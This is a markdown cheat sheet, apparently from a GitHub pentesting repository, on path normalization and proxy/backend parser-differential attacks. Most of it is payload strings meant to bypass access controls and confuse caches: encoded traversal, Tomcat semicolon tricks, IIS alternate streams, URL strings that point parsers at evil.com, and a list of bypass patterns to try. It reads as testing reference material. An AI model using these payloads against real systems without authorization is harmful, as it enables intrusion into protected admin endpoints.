Skip to content

Latest commit

 

History

History
163 lines (127 loc) · 4.02 KB

File metadata and controls

163 lines (127 loc) · 4.02 KB

Path Normalization / Parser Differential Attacks

Concept

Reverse proxy and backend server interpret the same URL path differently. This causes access control bypass, cache poisoning, and SSRF.

Nginx + Backend Mismatches

# Nginx normalizes ../ but backend doesn't (or vice versa)
GET /allowed/../admin HTTP/1.1
# Nginx sees: /admin (blocked by ACL)
# But: GET /allowed/..%2fadmin
# Nginx sees: /allowed/..%2fadmin (allowed - doesn't normalize %2f)
# Backend decodes: /allowed/../admin -> /admin (served!)

# Trailing slash difference
/admin  -> 403 (Nginx blocks)
/admin/ -> 200 (Nginx rule doesn't match, backend serves)

# Case sensitivity
/Admin -> Nginx rule for /admin doesn't match (case sensitive)
/ADMIN -> Backend normalizes to /admin (case insensitive)

Apache + Backend

# Apache mod_rewrite vs backend
GET /api/..;/admin HTTP/1.1
# Apache: path is /api/..;/admin (..;/ is not ../)
# Tomcat/Jetty: ..;/ is treated as ../ -> path becomes /admin

# Apache path normalization
GET /api/%2e%2e/admin HTTP/1.1
# Apache may not decode %2e%2e as ..
# Backend (Node/Python/Java) may decode and traverse

Spring / Tomcat Specific

# Semicolon path parameter (Tomcat strips everything after ;)
/admin;anything -> /admin
/allowed;/../admin -> /allowed (to proxy) -> /admin (to Tomcat)

# Double URL encoding
/admin -> blocked
/%61dmin -> blocked (some proxies decode)
/%2561dmin -> proxy sees literal %61, backend double-decodes to /admin

# Trailing dot
/admin. -> some Java servers resolve to /admin
/WEB-INF/web.xml. -> may bypass static file restrictions

Node.js / Express Specific

# Express path normalization
/admin -> 403
/Admin -> Express routes are case-sensitive by default, but...
# If app sets app.set('case sensitive routing', false) -> /ADMIN works

# Prototype pollution in URL parsing
/admin -> blocked
/./admin -> same as /admin in many frameworks
/admin// -> trailing slashes

IIS / ASP.NET Specific

# IIS short name (8.3) enumeration
GET /ABCDEF~1.ASP HTTP/1.1
# Reveals existence of files starting with "ABCDEF"

# IIS path traversal
/admin../ -> may serve parent directory
/admin::$DATA -> NTFS alternate data stream
/admin%20/ -> trailing space

# Unicode normalization (old IIS)
/%c0%af -> / (overlong UTF-8)
/%c1%9c -> \ (directory traversal on Windows)

URL Parser Confusion

# Different parsers handle ambiguous URLs differently

# Backslash
https://target.com\@evil.com/path
# Some parsers: host=target.com, path=\@evil.com/path
# Others: host=evil.com, path=/path (\ treated as /)

# Fragment
https://target.com#@evil.com
# Browser: host=target.com, fragment=@evil.com
# Server: may parse differently if # not handled

# Multiple @ signs
https://user@target.com@evil.com
# RFC: last @ separates host
# Some parsers: host=target.com@evil.com

# Tab/newline in URL
https://evil.com%09.target.com
https://evil%0a.com
# Some parsers ignore whitespace characters

Proxy + Application ACL Bypass

# Request:
GET /api/public/../admin/users HTTP/1.1

# Scenario 1: Proxy normalizes, app doesn't
# Proxy sees: /admin/users -> blocked
# Solution: double encode or use parser difference

# Scenario 2: Proxy doesn't normalize, app does
# Proxy sees: /api/public/../admin/users -> matches /api/public/* (allowed)
# App normalizes: /admin/users -> served!

# General bypass patterns to try:
/./admin
/admin/.
/admin/./
//admin
/admin//
/%2f/admin
/admin%00
/admin%20
/admin%09
/admin..;/
/admin;/
/admin\

Cache + Path Confusion

# See Web-Cache-Attacks.md for cache deception via path confusion
# Cache servers and origin servers may normalize differently
# Leading to cache poisoning or cache deception

# Example: CDN caches by raw URL, origin normalizes
GET /static/../my-account HTTP/1.1
# CDN: caches as /static/../my-account (thinks it's static path)
# Origin: serves /my-account (dynamic, sensitive)

Tools

# Use Burp Intruder with path confusion wordlist
# Try each bypass against every restricted endpoint
# Compare response codes/lengths between proxy and direct backend access